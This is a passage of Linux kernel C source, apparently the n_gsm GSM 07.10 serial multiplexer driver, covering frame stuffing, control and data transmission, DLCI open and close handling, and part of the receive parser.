RR: pr_cont("RR(%d)", (control & 0xE0) >> 5); break; case RNR: pr_cont("RNR(%d)", (control & 0xE0) >> 5); break; case REJ: pr_cont("REJ(%d)", (control & 0xE0) >> 5); break; default: pr_cont("[%02X]", control); } } if (control & PF) pr_cont("(P)"); else pr_cont("(F)"); if (dlen) { int ct = 0; while (dlen--) { if (ct % 8 == 0) { pr_cont("\n"); pr_debug(" "); } pr_cont("%02X ", *data++); ct++; } } pr_cont("\n"); } /* * Link level transmission side */ /** * gsm_stuff_packet - bytestuff a packet * @ibuf: input * @obuf: output * @len: length of input * * Expand a buffer by bytestuffing it. The worst case size change * is doubling and the caller is responsible for handing out * suitable sized buffers. */ static int gsm_stuff_frame(const u8 *input, u8 *output, int len) { int olen = 0; while (len--) { if (*input == GSM1_SOF || *input == GSM1_ESCAPE || *input == XON || *input == XOFF) { *output++ = GSM1_ESCAPE; *output++ = *input++ ^ GSM1_ESCAPE_BITS; olen++; } else *output++ = *input++; olen++; } return olen; } /** * gsm_send - send a control frame * @gsm: our GSM mux * @addr: address for control frame * @cr: command/response bit * @control: control byte including PF bit * * Format up and transmit a control frame. These do not go via the * queueing logic as they should be transmitted ahead of data when * they are needed. * * FIXME: Lock versus data TX path */ static void gsm_send(struct gsm_mux *gsm, int addr, int cr, int control) { int len; u8 cbuf[10]; u8 ibuf[3]; switch (gsm->encoding) { case 0: cbuf[0] = GSM0_SOF; cbuf[1] = (addr << 2) | (cr << 1) | EA; cbuf[2] = control; cbuf[3] = EA; /* Length of data = 0 */ cbuf[4] = 0xFF - gsm_fcs_add_block(INIT_FCS, cbuf + 1, 3); cbuf[5] = GSM0_SOF; len = 6; break; case 1: case 2: /* Control frame + packing (but not frame stuffing) in mode 1 */ ibuf[0] = (addr << 2) | (cr << 1) | EA; ibuf[1] = control; ibuf[2] = 0xFF - gsm_fcs_add_block(INIT_FCS, ibuf, 2); /* Stuffing may double the size worst case */ len = gsm_stuff_frame(ibuf, cbuf + 1, 3); /* Now add the SOF markers */ cbuf[0] = GSM1_SOF; cbuf[len + 1] = GSM1_SOF; /* FIXME: we can omit the lead one in many cases */ len += 2; break; default: WARN_ON(1); return; } gsm->output(gsm, cbuf, len); gsm_print_packet("-->", addr, cr, control, NULL, 0); } /** * gsm_response - send a control response * @gsm: our GSM mux * @addr: address for control frame * @control: control byte including PF bit * * Format up and transmit a link level response frame. */ static inline void gsm_response(struct gsm_mux *gsm, int addr, int control) { gsm_send(gsm, addr, 0, control); } /** * gsm_command - send a control command * @gsm: our GSM mux * @addr: address for control frame * @control: control byte including PF bit * * Format up and transmit a link level command frame. */ static inline void gsm_command(struct gsm_mux *gsm, int addr, int control) { gsm_send(gsm, addr, 1, control); } /* Data transmission */ #define HDR_LEN 6 /* ADDR CTRL [LEN.2] DATA FCS */ /** * gsm_data_alloc - allocate data frame * @gsm: GSM mux * @addr: DLCI address * @len: length excluding header and FCS * @ctrl: control byte * * Allocate a new data buffer for sending frames with data. Space is left * at the front for header bytes but that is treated as an implementation * detail and not for the high level code to use */ static struct gsm_msg *gsm_data_alloc(struct gsm_mux *gsm, u8 addr, int len, u8 ctrl) { struct gsm_msg *m = kmalloc(sizeof(struct gsm_msg) + len + HDR_LEN, GFP_ATOMIC); if (m == NULL) return NULL; m->data = m->buffer + HDR_LEN - 1; /* Allow for FCS */ m->len = len; m->addr = addr; m->ctrl = ctrl; m->next = NULL; return m; } /** * gsm_data_kick - poke the queue * @gsm: GSM Mux * * The tty device has called us to indicate that room has appeared in * the transmit queue. Ram more data into the pipe if we have any * * FIXME: lock against link layer control transmissions */ static void gsm_data_kick(struct gsm_mux *gsm) { struct gsm_msg *msg = gsm->tx_head; int len; int skip_sof = 0; /* FIXME: We need to apply this solely to data messages */ if (gsm->constipated) return; while (gsm->tx_head != NULL) { msg = gsm->tx_head; if (gsm->encoding != 0) { gsm->txframe[0] = GSM1_SOF; len = gsm_stuff_frame(msg->data, gsm->txframe + 1, msg->len); gsm->txframe[len + 1] = GSM1_SOF; len += 2; } else { gsm->txframe[0] = GSM0_SOF; memcpy(gsm->txframe + 1 , msg->data, msg->len); gsm->txframe[msg->len + 1] = GSM0_SOF; len = msg->len + 2; } if (debug & 4) print_hex_dump_bytes("gsm_data_kick: ", DUMP_PREFIX_OFFSET, gsm->txframe, len); if (gsm->output(gsm, gsm->txframe + skip_sof, len - skip_sof) < 0) break; /* FIXME: Can eliminate one SOF in many more cases */ gsm->tx_head = msg->next; if (gsm->tx_head == NULL) gsm->tx_tail = NULL; gsm->tx_bytes -= msg->len; kfree(msg); /* For a burst of frames skip the extra SOF within the burst */ skip_sof = 1; } } /** * __gsm_data_queue - queue a UI or UIH frame * @dlci: DLCI sending the data * @msg: message queued * * Add data to the transmit queue and try and get stuff moving * out of the mux tty if not already doing so. The Caller must hold * the gsm tx lock. */ static void __gsm_data_queue(struct gsm_dlci *dlci, struct gsm_msg *msg) { struct gsm_mux *gsm = dlci->gsm; u8 *dp = msg->data; u8 *fcs = dp + msg->len; /* Fill in the header */ if (gsm->encoding == 0) { if (msg->len < 128) *--dp = (msg->len << 1) | EA; else { *--dp = (msg->len >> 7); /* bits 7 - 15 */ *--dp = (msg->len & 127) << 1; /* bits 0 - 6 */ } } *--dp = msg->ctrl; if (gsm->initiator) *--dp = (msg->addr << 2) | 2 | EA; else *--dp = (msg->addr << 2) | EA; *fcs = gsm_fcs_add_block(INIT_FCS, dp , msg->data - dp); /* Ugly protocol layering violation */ if (msg->ctrl == UI || msg->ctrl == (UI|PF)) *fcs = gsm_fcs_add_block(*fcs, msg->data, msg->len); *fcs = 0xFF - *fcs; gsm_print_packet("Q> ", msg->addr, gsm->initiator, msg->ctrl, msg->data, msg->len); /* Move the header back and adjust the length, also allow for the FCS now tacked on the end */ msg->len += (msg->data - dp) + 1; msg->data = dp; /* Add to the actual output queue */ if (gsm->tx_tail) gsm->tx_tail->next = msg; else gsm->tx_head = msg; gsm->tx_tail = msg; gsm->tx_bytes += msg->len; gsm_data_kick(gsm); } /** * gsm_data_queue - queue a UI or UIH frame * @dlci: DLCI sending the data * @msg: message queued * * Add data to the transmit queue and try and get stuff moving * out of the mux tty if not already doing so. Take the * the gsm tx lock and dlci lock. */ static void gsm_data_queue(struct gsm_dlci *dlci, struct gsm_msg *msg) { unsigned long flags; spin_lock_irqsave(&dlci->gsm->tx_lock, flags); __gsm_data_queue(dlci, msg); spin_unlock_irqrestore(&dlci->gsm->tx_lock, flags); } /** * gsm_dlci_data_output - try and push data out of a DLCI * @gsm: mux * @dlci: the DLCI to pull data from * * Pull data from a DLCI and send it into the transmit queue if there * is data. Keep to the MRU of the mux. This path handles the usual tty * interface which is a byte stream with optional modem data. * * Caller must hold the tx_lock of the mux. */ static int gsm_dlci_data_output(struct gsm_mux *gsm, struct gsm_dlci *dlci) { struct gsm_msg *msg; u8 *dp; int len, total_size, size; int h = dlci->adaption - 1; total_size = 0; while(1) { len = kfifo_len(dlci->fifo); if (len == 0) return total_size; /* MTU/MRU count only the data bits */ if (len > gsm->mtu) len = gsm->mtu; size = len + h; msg = gsm_data_alloc(gsm, dlci->addr, size, gsm->ftype); /* FIXME: need a timer or something to kick this so it can't get stuck with no work outstanding and no buffer free */ if (msg == NULL) return -ENOMEM; dp = msg->data; switch (dlci->adaption) { case 1: /* Unstructured */ break; case 2: /* Unstructed with modem bits. Always one byte as we never send inline break data */ *dp++ = gsm_encode_modem(dlci); break; } WARN_ON(kfifo_out_locked(dlci->fifo, dp , len, &dlci->lock) != len); __gsm_data_queue(dlci, msg); total_size += size; } /* Bytes of data we used up */ return total_size; } /** * gsm_dlci_data_output_framed - try and push data out of a DLCI * @gsm: mux * @dlci: the DLCI to pull data from * * Pull data from a DLCI and send it into the transmit queue if there * is data. Keep to the MRU of the mux. This path handles framed data * queued as skbuffs to the DLCI. * * Caller must hold the tx_lock of the mux. */ static int gsm_dlci_data_output_framed(struct gsm_mux *gsm, struct gsm_dlci *dlci) { struct gsm_msg *msg; u8 *dp; int len, size; int last = 0, first = 0; int overhead = 0; /* One byte per frame is used for B/F flags */ if (dlci->adaption == 4) overhead = 1; /* dlci->skb is locked by tx_lock */ if (dlci->skb == NULL) { dlci->skb = skb_dequeue(&dlci->skb_list); if (dlci->skb == NULL) return 0; first = 1; } len = dlci->skb->len + overhead; /* MTU/MRU count only the data bits */ if (len > gsm->mtu) { if (dlci->adaption == 3) { /* Over long frame, bin it */ kfree_skb(dlci->skb); dlci->skb = NULL; return 0; } len = gsm->mtu; } else last = 1; size = len + overhead; msg = gsm_data_alloc(gsm, dlci->addr, size, gsm->ftype); /* FIXME: need a timer or something to kick this so it can't get stuck with no work outstanding and no buffer free */ if (msg == NULL) return -ENOMEM; dp = msg->data; if (dlci->adaption == 4) { /* Interruptible framed (Packetised Data) */ /* Flag byte to carry the start/end info */ *dp++ = last << 7 | first << 6 | 1; /* EA */ len--; } memcpy(dp, dlci->skb->data, len); skb_pull(dlci->skb, len); __gsm_data_queue(dlci, msg); if (last) { kfree_skb(dlci->skb); dlci->skb = NULL; } return size; } /** * gsm_dlci_data_sweep - look for data to send * @gsm: the GSM mux * * Sweep the GSM mux channels in priority order looking for ones with * data to send. We could do with optimising this scan a bit. We aim * to fill the queue totally or up to TX_THRESH_HI bytes. Once we hit * TX_THRESH_LO we get called again * * FIXME: We should round robin between groups and in theory you can * renegotiate DLCI priorities with optional stuff. Needs optimising. */ static void gsm_dlci_data_sweep(struct gsm_mux *gsm) { int len; /* Priority ordering: We should do priority with RR of the groups */ int i = 1; while (i < NUM_DLCI) { struct gsm_dlci *dlci; if (gsm->tx_bytes > TX_THRESH_HI) break; dlci = gsm->dlci[i]; if (dlci == NULL || dlci->constipated) { i++; continue; } if (dlci->adaption < 3 && !dlci->net) len = gsm_dlci_data_output(gsm, dlci); else len = gsm_dlci_data_output_framed(gsm, dlci); if (len < 0) break; /* DLCI empty - try the next */ if (len == 0) i++; } } /** * gsm_dlci_data_kick - transmit if possible * @dlci: DLCI to kick * * Transmit data from this DLCI if the queue is empty. We can't rely on * a tty wakeup except when we filled the pipe so we need to fire off * new data ourselves in other cases. */ static void gsm_dlci_data_kick(struct gsm_dlci *dlci) { unsigned long flags; spin_lock_irqsave(&dlci->gsm->tx_lock, flags); /* If we have nothing running then we need to fire up */ if (dlci->gsm->tx_bytes == 0) { if (dlci->net) gsm_dlci_data_output_framed(dlci->gsm, dlci); else gsm_dlci_data_output(dlci->gsm, dlci); } else if (dlci->gsm->tx_bytes < TX_THRESH_LO) gsm_dlci_data_sweep(dlci->gsm); spin_unlock_irqrestore(&dlci->gsm->tx_lock, flags); } /* * Control message processing */ /** * gsm_control_reply - send a response frame to a control * @gsm: gsm channel * @cmd: the command to use * @data: data to follow encoded info * @dlen: length of data * * Encode up and queue a UI/UIH frame containing our response. */ static void gsm_control_reply(struct gsm_mux *gsm, int cmd, u8 *data, int dlen) { struct gsm_msg *msg; msg = gsm_data_alloc(gsm, 0, dlen + 2, gsm->ftype); if (msg == NULL) return; msg->data[0] = (cmd & 0xFE) << 1 | EA; /* Clear C/R */ msg->data[1] = (dlen << 1) | EA; memcpy(msg->data + 2, data, dlen); gsm_data_queue(gsm->dlci[0], msg); } /** * gsm_process_modem - process received modem status * @tty: virtual tty bound to the DLCI * @dlci: DLCI to affect * @modem: modem bits (full EA) * * Used when a modem control message or line state inline in adaption * layer 2 is processed. Sort out the local modem state and throttles */ static void gsm_process_modem(struct tty_struct *tty, struct gsm_dlci *dlci, u32 modem, int clen) { int mlines = 0; u8 brk = 0; /* The modem status command can either contain one octet (v.24 signals) or two octets (v.24 signals + break signals). The length field will either be 2 or 3 respectively. This is specified in section 5.4.6.3.7 of the 27.010 mux spec. */ if (clen == 2) modem = modem & 0x7f; else { brk = modem & 0x7f; modem = (modem >> 7) & 0x7f; }; /* Flow control/ready to communicate */ if (modem & MDM_FC) { /* Need to throttle our output on this device */ dlci->constipated = 1; } if (modem & MDM_RTC) { mlines |= TIOCM_DSR | TIOCM_DTR; dlci->constipated = 0; gsm_dlci_data_kick(dlci); } /* Map modem bits */ if (modem & MDM_RTR) mlines |= TIOCM_RTS | TIOCM_CTS; if (modem & MDM_IC) mlines |= TIOCM_RI; if (modem & MDM_DV) mlines |= TIOCM_CD; /* Carrier drop -> hangup */ if (tty) { if ((mlines & TIOCM_CD) == 0 && (dlci->modem_rx & TIOCM_CD)) if (!(tty->termios->c_cflag & CLOCAL)) tty_hangup(tty); if (brk & 0x01) tty_insert_flip_char(tty, 0, TTY_BREAK); } dlci->modem_rx = mlines; } /** * gsm_control_modem - modem status received * @gsm: GSM channel * @data: data following command * @clen: command length * * We have received a modem status control message. This is used by * the GSM mux protocol to pass virtual modem line status and optionally * to indicate break signals. Unpack it, convert to Linux representation * and if need be stuff a break message down the tty. */ static void gsm_control_modem(struct gsm_mux *gsm, u8 *data, int clen) { unsigned int addr = 0; unsigned int modem = 0; struct gsm_dlci *dlci; int len = clen; u8 *dp = data; struct tty_struct *tty; while (gsm_read_ea(&addr, *dp++) == 0) { len--; if (len == 0) return; } /* Must be at least one byte following the EA */ len--; if (len <= 0) return; addr >>= 1; /* Closed port, or invalid ? */ if (addr == 0 || addr >= NUM_DLCI || gsm->dlci[addr] == NULL) return; dlci = gsm->dlci[addr]; while (gsm_read_ea(&modem, *dp++) == 0) { len--; if (len == 0) return; } tty = tty_port_tty_get(&dlci->port); gsm_process_modem(tty, dlci, modem, clen); if (tty) { tty_wakeup(tty); tty_kref_put(tty); } gsm_control_reply(gsm, CMD_MSC, data, clen); } /** * gsm_control_rls - remote line status * @gsm: GSM channel * @data: data bytes * @clen: data length * * The modem sends us a two byte message on the control channel whenever * it wishes to send us an error state from the virtual link. Stuff * this into the uplink tty if present */ static void gsm_control_rls(struct gsm_mux *gsm, u8 *data, int clen) { struct tty_struct *tty; unsigned int addr = 0 ; u8 bits; int len = clen; u8 *dp = data; while (gsm_read_ea(&addr, *dp++) == 0) { len--; if (len == 0) return; } /* Must be at least one byte following ea */ len--; if (len <= 0) return; addr >>= 1; /* Closed port, or invalid ? */ if (addr == 0 || addr >= NUM_DLCI || gsm->dlci[addr] == NULL) return; /* No error ? */ bits = *dp; if ((bits & 1) == 0) return; /* See if we have an uplink tty */ tty = tty_port_tty_get(&gsm->dlci[addr]->port); if (tty) { if (bits & 2) tty_insert_flip_char(tty, 0, TTY_OVERRUN); if (bits & 4) tty_insert_flip_char(tty, 0, TTY_PARITY); if (bits & 8) tty_insert_flip_char(tty, 0, TTY_FRAME); tty_flip_buffer_push(tty); tty_kref_put(tty); } gsm_control_reply(gsm, CMD_RLS, data, clen); } static void gsm_dlci_begin_close(struct gsm_dlci *dlci); /** * gsm_control_message - DLCI 0 control processing * @gsm: our GSM mux * @command: the command EA * @data: data beyond the command/length EAs * @clen: length * * Input processor for control messages from the other end of the link. * Processes the incoming request and queues a response frame or an * NSC response if not supported */ static void gsm_control_message(struct gsm_mux *gsm, unsigned int command, u8 *data, int clen) { u8 buf[1]; switch (command) { case CMD_CLD: { struct gsm_dlci *dlci = gsm->dlci[0]; /* Modem wishes to close down */ if (dlci) { dlci->dead = 1; gsm->dead = 1; gsm_dlci_begin_close(dlci); } } break; case CMD_TEST: /* Modem wishes to test, reply with the data */ gsm_control_reply(gsm, CMD_TEST, data, clen); break; case CMD_FCON: /* Modem wants us to STFU */ gsm->constipated = 1; gsm_control_reply(gsm, CMD_FCON, NULL, 0); break; case CMD_FCOFF: /* Modem can accept data again */ gsm->constipated = 0; gsm_control_reply(gsm, CMD_FCOFF, NULL, 0); /* Kick the link in case it is idling */ gsm_data_kick(gsm); break; case CMD_MSC: /* Out of band modem line change indicator for a DLCI */ gsm_control_modem(gsm, data, clen); break; case CMD_RLS: /* Out of band error reception for a DLCI */ gsm_control_rls(gsm, data, clen); break; case CMD_PSC: /* Modem wishes to enter power saving state */ gsm_control_reply(gsm, CMD_PSC, NULL, 0); break; /* Optional unsupported commands */ case CMD_PN: /* Parameter negotiation */ case CMD_RPN: /* Remote port negotiation */ case CMD_SNC: /* Service negotiation command */ default: /* Reply to bad commands with an NSC */ buf[0] = command; gsm_control_reply(gsm, CMD_NSC, buf, 1); break; } } /** * gsm_control_response - process a response to our control * @gsm: our GSM mux * @command: the command (response) EA * @data: data beyond the command/length EA * @clen: length * * Process a response to an outstanding command. We only allow a single * control message in flight so this is fairly easy. All the clean up * is done by the caller, we just update the fields, flag it as done * and return */ static void gsm_control_response(struct gsm_mux *gsm, unsigned int command, u8 *data, int clen) { struct gsm_control *ctrl; unsigned long flags; spin_lock_irqsave(&gsm->control_lock, flags); ctrl = gsm->pending_cmd; /* Does the reply match our command */ command |= 1; if (ctrl != NULL && (command == ctrl->cmd || command == CMD_NSC)) { /* Our command was replied to, kill the retry timer */ del_timer(&gsm->t2_timer); gsm->pending_cmd = NULL; /* Rejected by the other end */ if (command == CMD_NSC) ctrl->error = -EOPNOTSUPP; ctrl->done = 1; wake_up(&gsm->event); } spin_unlock_irqrestore(&gsm->control_lock, flags); } /** * gsm_control_transmit - send control packet * @gsm: gsm mux * @ctrl: frame to send * * Send out a pending control command (called under control lock) */ static void gsm_control_transmit(struct gsm_mux *gsm, struct gsm_control *ctrl) { struct gsm_msg *msg = gsm_data_alloc(gsm, 0, ctrl->len + 1, gsm->ftype); if (msg == NULL) return; msg->data[0] = (ctrl->cmd << 1) | 2 | EA; /* command */ memcpy(msg->data + 1, ctrl->data, ctrl->len); gsm_data_queue(gsm->dlci[0], msg); } /** * gsm_control_retransmit - retransmit a control frame * @data: pointer to our gsm object * * Called off the T2 timer expiry in order to retransmit control frames * that have been lost in the system somewhere. The control_lock protects * us from colliding with another sender or a receive completion event. * In that situation the timer may still occur in a small window but * gsm->pending_cmd will be NULL and we just let the timer expire. */ static void gsm_control_retransmit(unsigned long data) { struct gsm_mux *gsm = (struct gsm_mux *)data; struct gsm_control *ctrl; unsigned long flags; spin_lock_irqsave(&gsm->control_lock, flags); ctrl = gsm->pending_cmd; if (ctrl) { gsm->cretries--; if (gsm->cretries == 0) { gsm->pending_cmd = NULL; ctrl->error = -ETIMEDOUT; ctrl->done = 1; spin_unlock_irqrestore(&gsm->control_lock, flags); wake_up(&gsm->event); return; } gsm_control_transmit(gsm, ctrl); mod_timer(&gsm->t2_timer, jiffies + gsm->t2 * HZ / 100); } spin_unlock_irqrestore(&gsm->control_lock, flags); } /** * gsm_control_send - send a control frame on DLCI 0 * @gsm: the GSM channel * @command: command to send including CR bit * @data: bytes of data (must be kmalloced) * @len: length of the block to send * * Queue and dispatch a control command. Only one command can be * active at a time. In theory more can be outstanding but the matching * gets really complicated so for now stick to one outstanding. */ static struct gsm_control *gsm_control_send(struct gsm_mux *gsm, unsigned int command, u8 *data, int clen) { struct gsm_control *ctrl = kzalloc(sizeof(struct gsm_control), GFP_KERNEL); unsigned long flags; if (ctrl == NULL) return NULL; retry: wait_event(gsm->event, gsm->pending_cmd == NULL); spin_lock_irqsave(&gsm->control_lock, flags); if (gsm->pending_cmd != NULL) { spin_unlock_irqrestore(&gsm->control_lock, flags); goto retry; } ctrl->cmd = command; ctrl->data = data; ctrl->len = clen; gsm->pending_cmd = ctrl; gsm->cretries = gsm->n2; mod_timer(&gsm->t2_timer, jiffies + gsm->t2 * HZ / 100); gsm_control_transmit(gsm, ctrl); spin_unlock_irqrestore(&gsm->control_lock, flags); return ctrl; } /** * gsm_control_wait - wait for a control to finish * @gsm: GSM mux * @control: control we are waiting on * * Waits for the control to complete or time out. Frees any used * resources and returns 0 for success, or an error if the remote * rejected or ignored the request. */ static int gsm_control_wait(struct gsm_mux *gsm, struct gsm_control *control) { int err; wait_event(gsm->event, control->done == 1); err = control->error; kfree(control); return err; } /* * DLCI level handling: Needs krefs */ /* * State transitions and timers */ /** * gsm_dlci_close - a DLCI has closed * @dlci: DLCI that closed * * Perform processing when moving a DLCI into closed state. If there * is an attached tty this is hung up */ static void gsm_dlci_close(struct gsm_dlci *dlci) { del_timer(&dlci->t1); if (debug & 8) pr_debug("DLCI %d goes closed.\n", dlci->addr); dlci->state = DLCI_CLOSED; if (dlci->addr != 0) { struct tty_struct *tty = tty_port_tty_get(&dlci->port); if (tty) { tty_hangup(tty); tty_kref_put(tty); } kfifo_reset(dlci->fifo); } else dlci->gsm->dead = 1; wake_up(&dlci->gsm->event); /* A DLCI 0 close is a MUX termination so we need to kick that back to userspace somehow */ } /** * gsm_dlci_open - a DLCI has opened * @dlci: DLCI that opened * * Perform processing when moving a DLCI into open state. */ static void gsm_dlci_open(struct gsm_dlci *dlci) { /* Note that SABM UA .. SABM UA first UA lost can mean that we go open -> open */ del_timer(&dlci->t1); /* This will let a tty open continue */ dlci->state = DLCI_OPEN; if (debug & 8) pr_debug("DLCI %d goes open.\n", dlci->addr); wake_up(&dlci->gsm->event); } /** * gsm_dlci_t1 - T1 timer expiry * @dlci: DLCI that opened * * The T1 timer handles retransmits of control frames (essentially of * SABM and DISC). We resend the command until the retry count runs out * in which case an opening port goes back to closed and a closing port * is simply put into closed state (any further frames from the other * end will get a DM response) */ static void gsm_dlci_t1(unsigned long data) { struct gsm_dlci *dlci = (struct gsm_dlci *)data; struct gsm_mux *gsm = dlci->gsm; switch (dlci->state) { case DLCI_OPENING: dlci->retries--; if (dlci->retries) { gsm_command(dlci->gsm, dlci->addr, SABM|PF); mod_timer(&dlci->t1, jiffies + gsm->t1 * HZ / 100); } else gsm_dlci_close(dlci); break; case DLCI_CLOSING: dlci->retries--; if (dlci->retries) { gsm_command(dlci->gsm, dlci->addr, DISC|PF); mod_timer(&dlci->t1, jiffies + gsm->t1 * HZ / 100); } else gsm_dlci_close(dlci); break; } } /** * gsm_dlci_begin_open - start channel open procedure * @dlci: DLCI to open * * Commence opening a DLCI from the Linux side. We issue SABM messages * to the modem which should then reply with a UA, at which point we * will move into open state. Opening is done asynchronously with retry * running off timers and the responses. */ static void gsm_dlci_begin_open(struct gsm_dlci *dlci) { struct gsm_mux *gsm = dlci->gsm; if (dlci->state == DLCI_OPEN || dlci->state == DLCI_OPENING) return; dlci->retries = gsm->n2; dlci->state = DLCI_OPENING; gsm_command(dlci->gsm, dlci->addr, SABM|PF); mod_timer(&dlci->t1, jiffies + gsm->t1 * HZ / 100); } /** * gsm_dlci_begin_close - start channel open procedure * @dlci: DLCI to open * * Commence closing a DLCI from the Linux side. We issue DISC messages * to the modem which should then reply with a UA, at which point we * will move into closed state. Closing is done asynchronously with retry * off timers. We may also receive a DM reply from the other end which * indicates the channel was already closed. */ static void gsm_dlci_begin_close(struct gsm_dlci *dlci) { struct gsm_mux *gsm = dlci->gsm; if (dlci->state == DLCI_CLOSED || dlci->state == DLCI_CLOSING) return; dlci->retries = gsm->n2; dlci->state = DLCI_CLOSING; gsm_command(dlci->gsm, dlci->addr, DISC|PF); mod_timer(&dlci->t1, jiffies + gsm->t1 * HZ / 100); } /** * gsm_dlci_data - data arrived * @dlci: channel * @data: block of bytes received * @len: length of received block * * A UI or UIH frame has arrived which contains data for a channel * other than the control channel. If the relevant virtual tty is * open we shovel the bits down it, if not we drop them. */ static void gsm_dlci_data(struct gsm_dlci *dlci, u8 *data, int clen) { /* krefs .. */ struct tty_port *port = &dlci->port; struct tty_struct *tty = tty_port_tty_get(port); unsigned int modem = 0; int len = clen; if (debug & 16) pr_debug("%d bytes for tty %p\n", len, tty); if (tty) { switch (dlci->adaption) { /* Unsupported types */ /* Packetised interruptible data */ case 4: break; /* Packetised uininterruptible voice/data */ case 3: break; /* Asynchronous serial with line state in each frame */ case 2: while (gsm_read_ea(&modem, *data++) == 0) { len--; if (len == 0) return; } gsm_process_modem(tty, dlci, modem, clen); /* Line state will go via DLCI 0 controls only */ case 1: default: tty_insert_flip_string(tty, data, len); tty_flip_buffer_push(tty); } tty_kref_put(tty); } } /** * gsm_dlci_control - data arrived on control channel * @dlci: channel * @data: block of bytes received * @len: length of received block * * A UI or UIH frame has arrived which contains data for DLCI 0 the * control channel. This should contain a command EA followed by * control data bytes. The command EA contains a command/response bit * and we divide up the work accordingly. */ static void gsm_dlci_command(struct gsm_dlci *dlci, u8 *data, int len) { /* See what command is involved */ unsigned int command = 0; while (len-- > 0) { if (gsm_read_ea(&command, *data++) == 1) { int clen = *data++; len--; /* FIXME: this is properly an EA */ clen >>= 1; /* Malformed command ? */ if (clen > len) return; if (command & 1) gsm_control_message(dlci->gsm, command, data, clen); else gsm_control_response(dlci->gsm, command, data, clen); return; } } } /* * Allocate/Free DLCI channels */ /** * gsm_dlci_alloc - allocate a DLCI * @gsm: GSM mux * @addr: address of the DLCI * * Allocate and install a new DLCI object into the GSM mux. * * FIXME: review locking races */ static struct gsm_dlci *gsm_dlci_alloc(struct gsm_mux *gsm, int addr) { struct gsm_dlci *dlci = kzalloc(sizeof(struct gsm_dlci), GFP_ATOMIC); if (dlci == NULL) return NULL; spin_lock_init(&dlci->lock); kref_init(&dlci->ref); mutex_init(&dlci->mutex); dlci->fifo = &dlci->_fifo; if (kfifo_alloc(&dlci->_fifo, 4096, GFP_KERNEL) < 0) { kfree(dlci); return NULL; } skb_queue_head_init(&dlci->skb_list); init_timer(&dlci->t1); dlci->t1.function = gsm_dlci_t1; dlci->t1.data = (unsigned long)dlci; tty_port_init(&dlci->port); dlci->port.ops = &gsm_port_ops; dlci->gsm = gsm; dlci->addr = addr; dlci->adaption = gsm->adaption; dlci->state = DLCI_CLOSED; if (addr) dlci->data = gsm_dlci_data; else dlci->data = gsm_dlci_command; gsm->dlci[addr] = dlci; return dlci; } /** * gsm_dlci_free - free DLCI * @dlci: DLCI to free * * Free up a DLCI. * * Can sleep. */ static void gsm_dlci_free(struct kref *ref) { struct gsm_dlci *dlci = container_of(ref, struct gsm_dlci, ref); del_timer_sync(&dlci->t1); dlci->gsm->dlci[dlci->addr] = NULL; kfifo_free(dlci->fifo); while ((dlci->skb = skb_dequeue(&dlci->skb_list))) kfree_skb(dlci->skb); kfree(dlci); } static inline void dlci_get(struct gsm_dlci *dlci) { kref_get(&dlci->ref); } static inline void dlci_put(struct gsm_dlci *dlci) { kref_put(&dlci->ref, gsm_dlci_free); } /** * gsm_dlci_release - release DLCI * @dlci: DLCI to destroy * * Release a DLCI. Actual free is deferred until either * mux is closed or tty is closed - whichever is last. * * Can sleep. */ static void gsm_dlci_release(struct gsm_dlci *dlci) { struct tty_struct *tty = tty_port_tty_get(&dlci->port); if (tty) { tty_vhangup(tty); tty_kref_put(tty); } dlci_put(dlci); } /* * LAPBish link layer logic */ /** * gsm_queue - a GSM frame is ready to process * @gsm: pointer to our gsm mux * * At this point in time a frame has arrived and been demangled from * the line encoding. All the differences between the encodings have * been handled below us and the frame is unpacked into the structures. * The fcs holds the header FCS but any data FCS must be added here. */ static void gsm_queue(struct gsm_mux *gsm) { struct gsm_dlci *dlci; u8 cr; int address; /* We have to sneak a look at the packet body to do the FCS. A somewhat layering violation in the spec */ if ((gsm->control & ~PF) == UI) gsm->fcs = gsm_fcs_add_block(gsm->fcs, gsm->buf, gsm->len); if (gsm->encoding == 0){ /* WARNING: gsm->received_fcs is used for gsm->encoding = 0 only. In this case it contain the last piece of data required to generate final CRC */ gsm->fcs = gsm_fcs_add(gsm->fcs, gsm->received_fcs); } if (gsm->fcs != GOOD_FCS) { gsm->bad_fcs++; if (debug & 4) pr_debug("BAD FCS %02x\n", gsm->fcs); return; } address = gsm->address >> 1; if (address >= NUM_DLCI) goto invalid; cr = gsm->address & 1; /* C/R bit */ gsm_print_packet("<--", address, cr, gsm->control, gsm->buf, gsm->len); cr ^= 1 - gsm->initiator; /* Flip so 1 always means command */ dlci = gsm->dlci[address]; switch (gsm->control) { case SABM|PF: if (cr == 0) goto invalid; if (dlci == NULL) dlci = gsm_dlci_alloc(gsm, address); if (dlci == NULL) return; if (dlci->dead) gsm_response(gsm, address, DM); else { gsm_response(gsm, address, UA); gsm_dlci_open(dlci); } break; case DISC|PF: if (cr == 0) goto invalid; if (dlci == NULL || dlci->state == DLCI_CLOSED) { gsm_response(gsm, address, DM); return; } /* Real close complete */ gsm_response(gsm, address, UA); gsm_dlci_close(dlci); break; case UA: case UA|PF: if (cr == 0 || dlci == NULL) break; switch (dlci->state) { case DLCI_CLOSING: gsm_dlci_close(dlci); break; case DLCI_OPENING: gsm_dlci_open(dlci); break; } break; case DM: /* DM can be valid unsolicited */ case DM|PF: if (cr) goto invalid; if (dlci == NULL) return; gsm_dlci_close(dlci); break; case UI: case UI|PF: case UIH: case UIH|PF: #if 0 if (cr) goto invalid; #endif if (dlci == NULL || dlci->state != DLCI_OPEN) { gsm_command(gsm, address, DM|PF); return; } dlci->data(dlci, gsm->buf, gsm->len); break; default: goto invalid; } return; invalid: gsm->malformed++; return; } /** * gsm0_receive - perform processing for non-transparency * @gsm: gsm data for this ldisc instance * @c: character * * Receive bytes in gsm mode 0 */ static void gsm0_receive(struct gsm_mux *gsm, unsigned char c) { unsigned int len; switch (gsm->state) { case GSM_SEARCH: /* SOF marker */ if (c == GSM0_SOF) { gsm->state = GSM_ADDRESS; gsm->address = 0; gsm->len = 0; gsm->fcs = INIT_FCS; } break; case GSM_ADDRESS: /* Address EA */ gsm->fcs = gsm_fcs_add(gsm->fcs, c); if (gsm_read_ea(&gsm->address, c)) gsm->state = GSM_CONTROL; break; case GSM_CONTROL: /* Control Byte */ gsm->fcs = gsm_fcs_add(gsm->fcs, c); gsm->control = c; gsm->state = GSM_LEN0; break; case GSM_LEN0: /* Length EA */ gsm->fcs = gsm_fcs_add(gsm->fcs, c); if (gsm_read_ea(&gsm->len, c)) { if (gsm->len > gsm->mru) { gsm->bad_size++; gsm->state = GSM_SEARCH; break; } gsm->count = 0; if (!gsm->len) gsm->state = GSM_FCS; else 